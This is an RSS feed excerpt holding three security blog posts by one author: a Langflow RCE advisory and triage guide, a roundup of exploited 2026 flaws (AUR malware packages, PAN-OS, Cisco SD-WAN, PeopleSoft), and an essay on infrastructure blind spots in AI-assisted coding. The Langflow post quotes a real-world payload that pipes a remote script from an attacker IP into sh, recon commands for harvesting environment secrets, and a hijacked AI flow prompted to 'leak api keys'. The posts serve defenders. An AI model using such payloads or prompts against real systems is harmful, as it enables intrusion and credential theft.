</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>How a Single Unauthenticated POST Turns Langflow Into a Public Python Shell</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 01 Jul 2026 22:31:08 +0000</pubDate>
      <link>https://dev.to/kkierii/how-a-single-unauthenticated-post-turns-langflow-into-a-public-python-shell-bld</link>
      <guid>https://dev.to/kkierii/how-a-single-unauthenticated-post-turns-langflow-into-a-public-python-shell-bld</guid>
      <description>&lt;p&gt;One unauthenticated POST to a Langflow endpoint gets you arbitrary Python execution on the host. No credentials, no proof-of-concept required -- attackers built a working exploit straight from the advisory text and were in the wild within 20 hours. If you run Langflow, LangChain, or LangGraph anywhere, that is the shape of your attack surface now, and the blast radius is every API key those frameworks are holding.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-33017: unauthenticated RCE via the public flow endpoint
&lt;/h2&gt;

&lt;p&gt;Langflow exposes an endpoint whose whole job is to build "public flows," so it is intentionally unauthenticated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v1/build_public_tmp/{flow_id}/flow
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In every release before 1.9.0, it accepted attacker-supplied flow data -- Python embedded in the node definitions -- and passed it straight to &lt;code&gt;exec()&lt;/code&gt; with no sandbox:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is CWE-306 (missing authentication) on top of CWE-94 (code injection). One request, no credentials, arbitrary code on the host. CISA added it to the Known Exploited Vulnerabilities catalog on March 25 with an April 8 federal deadline, and Sysdig's honeypots logged exploitation roughly 20 hours after the March 17 advisory -- before any public PoC existed.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-5027: path traversal -&amp;gt; arbitrary file write -&amp;gt; shell
&lt;/h2&gt;

&lt;p&gt;Different door, same host. The file-upload endpoint never sanitized the filename:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/v2/files
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pack traversal sequences into the filename and you write a file to an arbitrary location. Drop one into &lt;code&gt;/etc/cron.d&lt;/code&gt; where permissions allow, and the next cron run is a shell. The CVSS vector formally requires low privileges -- but Langflow ships with auto-login enabled by default, which hands an exposed instance a valid session token on request, so on the deployments that got hit the credential barrier was cosmetic. Tenable disclosed it March 27; in-the-wild exploitation showed up in June. The fix landed in &lt;code&gt;langflow-base&lt;/code&gt; 0.8.3 and Langflow 1.9.0.&lt;/p&gt;

&lt;p&gt;One caveat that matters for your patch plan: JFrog empirically tested 1.8.2 -- widely reported as fixed -- and found it still exploitable. Verify the fix in whatever version you land on. Do not trust the changelog.&lt;/p&gt;

&lt;h2&gt;
  
  
  The blast radius is your keys, not your CPU
&lt;/h2&gt;

&lt;p&gt;Here is why this class is worse than a normal RCE. An orchestration framework is a credential concentrator: flows embed provider keys, cloud credentials, and database strings directly in their component configs, because that is how a flow talks to OpenAI or Anthropic or your database. So the recon you see in the honeypot data goes straight for the environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;env
&lt;/span&gt;find /app &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.db"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.env"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code execution does not win the attacker your compute. It wins them the pile of keys in the environment, and those keys are liquid. In a later Langflow incident, Sysdig watched an operator hijack a flow and feed it the prompt &lt;code&gt;leak api keys&lt;/code&gt;, coaxing a flow that ran with its own embedded credentials into surfacing them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern is bigger than Langflow
&lt;/h2&gt;

&lt;p&gt;LangChain-core has a path traversal in its legacy prompt-loading API that can read local config and secret-bearing files off disk, depending on file type and deployment. LangGraph carries an insecure-deserialization chain in its SQLite and Redis checkpoint stores that Check Point walked from SQL injection to code execution in self-hosted deployments; managed LangSmith was not affected. Neither has confirmed in-the-wild exploitation yet, and Check Point ships working PoC, so "yet" is doing real work.&lt;/p&gt;

&lt;p&gt;These are the same bug classes -- injection, traversal, deserialization -- we have written for decades. What is new is where they live: three layers down in a framework your application code imports. Your WAF never inspects the deserializer, and your EDR waves through the process calls the agent server makes a thousand times a day. As former AWS deputy CISO Merritt Baer put it, when this lands "it will feel like your traditional security program failing" rather than an AI problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Triage: are you exposed, and were you hit?
&lt;/h2&gt;

&lt;p&gt;Check what you are actually running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip show langflow          &lt;span class="c"&gt;# or inspect your container image tag&lt;/span&gt;
&lt;span class="c"&gt;# Vulnerable: anything before 1.9.0. Per JFrog, confirm empirically -- some "fixed" tags weren't.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirm whether the instance is reachable from outside your network at all (from an external host, or via a Shodan/Censys lookup on your own ASN). If a Langflow or LangGraph instance answers to the open internet, treat it as already probed.&lt;/p&gt;

&lt;p&gt;Then grep your access logs for hits on the vulnerable endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"build_public_tmp|/api/v2/files"&lt;/span&gt; access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And look for what should not be there: a shell spawned by the app process, reads of &lt;code&gt;.env&lt;/code&gt;, new entries in &lt;code&gt;/etc/cron.d&lt;/code&gt;, or unexpected outbound connections. This is signature-free territory -- Falco's default ruleset already flags a web process spawning a shell and unexpected outbound connections, which is exactly what you want on day zero, before anyone has written a rule for the specific CVE.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Get it off the public internet.&lt;/strong&gt; There is almost no legitimate reason a Langflow or LangGraph instance should answer to the open web. Auth or a VPN in front.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch to current, then verify the patch closed the hole&lt;/strong&gt; -- check the commit or run the PoC, don't trust the release note.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential the instance could reach&lt;/strong&gt; -- provider keys, cloud creds, DB strings. If it was exposed during any of these windows, assume they walked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give each deployment an owner&lt;/strong&gt; inside the same external attack-surface monitoring as the rest of production. You can't patch what you don't know you're running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add signature-free runtime detection&lt;/strong&gt; (Falco or equivalent) for shell-from-web-process and &lt;code&gt;.env&lt;/code&gt; reads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities here are ordinary. What changed is that we stood up thousands of internet-reachable Python execution environments full of API keys and never put them in the security program that governs everything else we run. If you operate any of this in production: who owns the patch cycle, and how are you finding the instances before an attacker's scanner does?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devops</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Four 2026 Trust Failures You Can't Out-Patch (AUR, PAN-OS, Cisco SD-WAN, PeopleSoft)</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 23 Jun 2026 22:29:00 +0000</pubDate>
      <link>https://dev.to/kkierii/four-2026-trust-failures-you-cant-out-patch-aur-pan-os-cisco-sd-wan-peoplesoft-45bh</link>
      <guid>https://dev.to/kkierii/four-2026-trust-failures-you-cant-out-patch-aur-pan-os-cisco-sd-wan-peoplesoft-45bh</guid>
      <description>&lt;p&gt;Every keynote this spring told us the same thing: AI compressed the gap between disclosure and weaponization, so the answer is to patch faster. Fine. But I went back through what actually got exploited over the last several weeks, and most of the worst of it would not have cared how fast you patched. The bugs were not clever. They were trust assumptions and missing integrity checks we have had named CWE categories for since before half of you started writing code. Here is the mechanism on four of them, with the detection you can run today.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trust model is the attack surface (AUR, no CVE)
&lt;/h2&gt;

&lt;p&gt;Around June 11, somebody adopted a pile of orphaned packages in the Arch User Repository, edited the build recipes, and turned them into credential stealers. Over 400 confirmed, more on the community lists as cleanup dragged on. There was no zero-day and no breach of Arch's own infrastructure. The official repos were never touched.&lt;/p&gt;

&lt;p&gt;The mechanism is the insulting part. The attacker edited &lt;code&gt;PKGBUILD&lt;/code&gt; and &lt;code&gt;.install&lt;/code&gt; files to invoke npm during the build, pull a malicious package (&lt;code&gt;atomic-lockfile&lt;/code&gt;), and drop a stripped Rust binary that harvests SSH keys, tokens, browser data, cloud creds, and messaging sessions. A second wave swapped npm for &lt;code&gt;bun&lt;/code&gt; to dodge signatures keyed on the first. What got exploited was the AUR's trust model: it trusts a package's &lt;em&gt;name and history&lt;/em&gt; over who maintains it right now, and adopting an abandoned package is a sanctioned process. Nobody broke in. They walked through a door the system holds open by design.&lt;/p&gt;

&lt;p&gt;Triage if you run Arch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Foreign (AUR) packages by install date -- anything touched on/after June 11 is suspect&lt;/span&gt;
pacman &lt;span class="nt"&gt;-Qqm&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pkg&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;pacman &lt;span class="nt"&gt;-Qi&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pkg&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"^(Name|Install Date)"&lt;/span&gt; | &lt;span class="nb"&gt;paste&lt;/span&gt; - -
&lt;span class="k"&gt;done&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-k4&lt;/span&gt;

&lt;span class="c"&gt;# Diff the PKGBUILD of anything recent. Treat npm/pip/cargo/bun calls with no&lt;/span&gt;
&lt;span class="c"&gt;# relationship to the software's function as hostile:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s2"&gt;"npm|pip|cargo|bun"&lt;/span&gt; PKGBUILD &lt;span class="k"&gt;*&lt;/span&gt;.install 2&amp;gt;/dev/null

&lt;span class="c"&gt;# The optional eBPF rootkit pins BPF maps under these names. If they exist,&lt;/span&gt;
&lt;span class="c"&gt;# stop trusting the host's own tooling:&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /sys/fs/bpf/hidden_&lt;span class="k"&gt;*&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One nuance the early coverage got wrong: the eBPF rootkit is optional, root-only (needs &lt;code&gt;CAP_BPF&lt;/code&gt;), and does not escalate privilege. It just hides the stealer after the fact. But that changes your cleanup math. If the payload ran as root, &lt;code&gt;pacman -R&lt;/code&gt; does not clean the box -- a package manager only deletes files it knows about, and a rootkit's whole job is to not be one of them. Rebuild from clean media or do not trust the host.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-0257: a firewall that trusts any cookie it can decrypt (PAN-OS)
&lt;/h2&gt;

&lt;p&gt;This is a security appliance failing at the one thing it exists to do. The GlobalProtect portal issues an encrypted "authentication override" cookie so users do not re-auth constantly. When the cookie comes back, PAN-OS decrypts it with its private key and then trusts the contents &lt;strong&gt;without verifying a signature.&lt;/strong&gt; The CWE is 565, reliance on cookies without integrity checking.&lt;/p&gt;

&lt;p&gt;It gets worse if the same certificate is reused for the box's HTTPS service, which is a common config, not an exotic one. An attacker connects over HTTPS, pulls the public key, and forges a cookie the firewall accepts as gospel. Rapid7 saw exploitation start May 17. Palo Alto quietly bumped the CVSS from 4.7 to 7.8 on May 29, the same day CISA added it to the KEV.&lt;/p&gt;

&lt;p&gt;You are exposed only if both are true: authentication override cookies are enabled on the portal or gateway, and the cookie-encryption certificate is shared with another service. Check &lt;code&gt;Network &amp;gt; GlobalProtect &amp;gt; Portals/Gateways &amp;gt; Agent &amp;gt; Authentication&lt;/code&gt; for the override setting. Mitigation is to disable authentication override or generate a certificate used &lt;em&gt;only&lt;/em&gt; for cookie encryption and shared with nothing else. Prisma Access was also in the affected list; Panorama and Cloud NGFW were not.&lt;/p&gt;

&lt;p&gt;Hunt your GlobalProtect logs for the PoC's tells:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Forged-cookie sessions in the public PoC showed:&lt;/span&gt;
&lt;span class="c"&gt;#   - cookie auth to the local admin account from low-cost hosting IPs (Vultr, etc.)&lt;/span&gt;
&lt;span class="c"&gt;#   - source user with an EMPTY domain field&lt;/span&gt;
&lt;span class="c"&gt;#   - endpoint_os_version: "Microsoft Windows 10 Pro 64-bit"&lt;/span&gt;
&lt;span class="c"&gt;# Grep gateway-auth login events and validate any "Cookie" auth to local admin:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"gateway-auth.*login.*Cookie"&lt;/span&gt; /path/to/globalprotect.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CVE-2026-20182: a control plane whose auth step doesn't authenticate (Cisco SD-WAN)
&lt;/h2&gt;

&lt;p&gt;This one is a months-long pattern, and Cisco is wearing it. On April 20, CISA KEV-listed three Catalyst SD-WAN Manager flaws that chain into unauthenticated access: CVE-2026-20122 (incorrect use of privileged APIs), CVE-2026-20128 (storing passwords in a &lt;em&gt;recoverable&lt;/em&gt; format), and CVE-2026-20133 (sensitive information exposure). Then on May 14 came the one that should have been the headline: &lt;strong&gt;CVE-2026-20182, CVSS 10.0&lt;/strong&gt;, an authentication bypass in the SD-WAN control plane where the peering-authentication step simply does not authenticate (CWE-287). A sophisticated actor Cisco tracks as UAT-8616 hit it as a zero-day. CISA issued Emergency Directive 26-03 over it, and once PoC code circulated, researchers counted roughly ten additional clusters piling on. June added two more, including a path traversal (CVE-2026-20262) letting an authenticated attacker overwrite any file on the box.&lt;/p&gt;

&lt;p&gt;This is the controller that pushes config across your entire fabric -- the single most privileged box in the network -- and over a few months it shipped recoverable password storage, an info leak, a path traversal, and a control-plane auth mechanism that does not authenticate. After exploiting 20182, UAT-8616 injected an attacker key into the &lt;code&gt;vmanage-admin&lt;/code&gt; account, then logged in over NETCONF (SSH on TCP 830) and started issuing commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hunt for the attacker key injection on SD-WAN control components:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted publickey for vmanage-admin"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Then manually validate every control-connection peering event -- especially&lt;/span&gt;
&lt;span class="c"&gt;# vmanage peering types -- from unrecognized IPs or at unexpected times.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CVE-2026-35273: the one that was actually hard (PeopleSoft)
&lt;/h2&gt;

&lt;p&gt;Credit where due: this was a genuine zero-day. ShinyHunters (Mandiant tracks them as UNC6240) spent late May and early June tearing through Oracle PeopleSoft via CVE-2026-35273, an unauthenticated RCE in the Environment Management component of PeopleTools 8.61 and 8.62, rated 9.8. Mandiant dates exploitation to May 27 through June 9. Oracle's out-of-band advisory did not land until June 10 -- the whole campaign ran before there was anything to patch. Mandiant notified 100+ orgs; 68% were higher ed. CISA KEV-listed it June 12.&lt;/p&gt;

&lt;p&gt;Post-exploit, they dropped MeshCentral agents masquerading as Azure services (C2 at &lt;code&gt;azurenetfiles[.]net&lt;/code&gt;), ran a &lt;code&gt;*_fanout.sh&lt;/code&gt; lateral-movement/defacement script, and exfiltrated with zstd.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Breach marker dropped into PeopleSoft web/app directories:&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Compensating controls (Oracle/Mandiant guidance):&lt;/span&gt;
&lt;span class="c"&gt;#   - Disable the Environment Management Hub (EMHub) service, or remove PSEMHUB&lt;/span&gt;
&lt;span class="c"&gt;#   - Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector&lt;/span&gt;
&lt;span class="c"&gt;#   - Watch outbound SMB (TCP 445) from PeopleSoft hosts to external destinations&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The pattern: you can't patch a broken assumption
&lt;/h2&gt;

&lt;p&gt;Now the macro picture, because it is the actual argument. Per Verizon's 2026 DBIR, the median time to fix a known-exploited vulnerability went &lt;em&gt;up&lt;/em&gt; year over year, 32 days to 43, and the share fully patched fell from 38% to 26%. Rapid7's 2026 report logged a 105% jump in confirmed exploitation of high- and critical-severity flaws (71 cases to 146), and the disclosure-to-weaponization window that CSA and the Zero Day Clock now measure in hours used to take weeks. Offense compresses, remediation expands, and yes, AI compressed the discovery-and-weaponization side. That part is real.&lt;/p&gt;

&lt;p&gt;But look at what it bought the attackers in these four. None of them was a speed problem at root. You cannot patch your way out of a package trusted because the system likes its name, a firewall that trusts any cookie it can decrypt, a control plane whose auth step does not authenticate, or an ERP endpoint left facing the internet. And in two of them -- Cisco's 10.0 and the PeopleSoft RCE -- the attackers were already inside before a patch existed at all. You cannot out-patch a clock that started before the vendor knew.&lt;/p&gt;

&lt;p&gt;"Patch faster" is not wrong so much as beside the point. These were design failures we agreed to ship, and no amount of velocity downstream fixes a broken assumption upstream. The window did collapse. The bugs that walked through it did not need it to.&lt;/p&gt;

&lt;p&gt;What is the worst trust-by-default you have found still shipping in a box you were told to trust? I want the examples.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://blog.vertexops.org/patch-faster-myth" rel="noopener noreferrer"&gt;blog.vertexops.org&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Vibe Coding Isn't the Problem. Not Understanding the Stack Is.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 20 Jun 2026 16:27:46 +0000</pubDate>
      <link>https://dev.to/kkierii/vibe-coding-isnt-the-problem-not-understanding-the-stack-is-4kif</link>
      <guid>https://dev.to/kkierii/vibe-coding-isnt-the-problem-not-understanding-the-stack-is-4kif</guid>
      <description>&lt;p&gt;Here is a config an AI coding tool handed me, barely changed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;postgresql://admin:SuperSecret123@db.internal:5432/app&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-live-4f9a...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# committed straight to the repo
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It runs. That is the whole problem. It runs, the demo works, the reviewer nods, and that secret is now in your git history forever, readable by everyone on the team and anyone who ever breaches the repo.&lt;/p&gt;

&lt;p&gt;I am not a developer. Twenty years in systems engineering and I have never shipped a real application, never owned a production codebase, barely wrote a shell script that did more than move files around. What I have built, the entire time, is the ground the application runs on -- the hosts, the network, the databases, the plumbing. So when AI coding tools showed up and I started building again, I had to work out why my experience felt nothing like the failures everyone posts about.&lt;/p&gt;

&lt;p&gt;Andrej Karpathy coined "vibe coding" in early 2025 and meant it honestly: give in to the vibes, stop looking at the code, let it grow past the point where you understand it. He was describing throwaway weekend projects. The internet kept the "forget the code exists" part and quietly upgraded it to "forget the system exists." Those are not the same thing. You can ignore the code. You cannot ignore the system, because the system is what is actually running.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the model can't see
&lt;/h2&gt;

&lt;p&gt;Every example below is something an AI tool suggested to me in a real session, and overrode -- not because I out-code the model, but because I had stood on that layer before and it had not.&lt;/p&gt;

&lt;p&gt;It proposed &lt;strong&gt;Windows&lt;/strong&gt; as the OS for a security app. Fine technically, wrong on cost and footprint -- a licensed Windows Server host where a free Ubuntu box did the same job lighter. The model has no concept of the bill, because the bill lives a layer below the code.&lt;/p&gt;

&lt;p&gt;It reached for &lt;strong&gt;MySQL&lt;/strong&gt; as the database. Also fine technically. But I am the one operating this thing long-term and at scale, and my experience is in Postgres, not MySQL. The model does not know who owns the system at 2am a year from now. Picking the engine I can actually run under pressure is an operational call, and operations is invisible from the application code.&lt;/p&gt;

&lt;p&gt;It wired up &lt;strong&gt;auth&lt;/strong&gt; and stopped at "login works." Working is the easy 20%. The locked-down version meant the single sign-on going through Microsoft Entra ID (formerly Azure AD) and fenced in with Conditional Access -- so "authenticated" means a trusted device, an allowed location, the right conditions, not just anyone holding a valid token. You do not discover Conditional Access by vibe coding a login form.&lt;/p&gt;

&lt;p&gt;And &lt;strong&gt;networking&lt;/strong&gt;. In the earlier days the confident move was always the same: open the port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# what makes the connection work&lt;/span&gt;
ufw allow 22                                 &lt;span class="c"&gt;# SSH, open to the entire internet&lt;/span&gt;

&lt;span class="c"&gt;# what should have happened&lt;/span&gt;
ufw allow from 10.0.5.0/24 to any port 22    &lt;span class="c"&gt;# scoped to the management network&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both versions connect. Only one of them is safe, and the difference is invisible from the application layer -- it lives in the network, which the model treats as someone else's problem.&lt;/p&gt;

&lt;p&gt;Which brings it back to the secrets it tried to hardcode. The fix is not complicated. It is just a layer the model does not reach for on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled from the environment at runtime, or out of a real secrets store. Passwords hashed, keys and tokens encrypted, none of it in source control. The model will inline all of it into a file headed for the repo unless someone who knows better stops it. I am usually the someone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nothing is siloed
&lt;/h2&gt;

&lt;p&gt;You already know the stack is not two boxes. Frontend, backend, API, auth, database, cache, object storage, queues, reverse proxy, DNS, and a dozen more layers under that -- each failing in its own way and taking its neighbors down with it. That is the part the burned vibe coders miss. They are not, mostly, writing bad application code; the model is good at application code now. They get burned because they think the application code &lt;em&gt;is&lt;/em&gt; the system, when it is one floor of a building whose foundation they never poured and cannot see. The change looks self-contained from where they are sitting. Nothing is self-contained.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I argue with the machine
&lt;/h2&gt;

&lt;p&gt;When I vibe code, the AI writes the application layer and I am still building everything underneath it -- and, more to the point, I know enough to push back. When the model picks an approach I can ask why it chose that, whether the obvious alternative is better, what it is trading away that it did not mention. You cannot question an answer you could not have reasoned about yourself. That is the dividing line, and it has nothing to do with how much code you personally type.&lt;/p&gt;

&lt;p&gt;It changes how I start, too. I do not open with "build me X" -- that is what produces the demo that detonates in production. I spend half an hour talking through the problem first: the constraints, the tradeoffs, where the bodies are buried. Then I have the model write the best prompt it can for what we just worked out, and hand that to the coding agent. It writes a better spec for itself than I can cold, but only after a human has done the thinking the spec is supposed to capture. The thirty-minute conversation is not overhead. It is what keeps the next two hours from being a cleanup job.&lt;/p&gt;

&lt;p&gt;None of this is anti-vibe-coding. It got me building for the first time in my career and it is not going back in the box. The problem was never the vibes. The problem is the self-contained change made by someone who cannot see what it touches, shipped to a system they could not draw on a whiteboard. Give the same tools to someone who knows the foundation, and the foundation is exactly what makes the vibes safe to follow.&lt;/p&gt;

&lt;p&gt;The dividing line is not talent, and it is not how much code you write. It is whether you understand the thing your code is standing on. Everything else is just vibes, and vibes do not hold weight.&lt;/p&gt;

&lt;p&gt;What is the override you keep having to make -- the one the model gets wrong in your stack every single time?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://blog.vertexops.org/vibe-coding-the-stack" rel="noopener noreferrer"&gt;blog.vertexops.org&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devops</category>
      <category>security</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
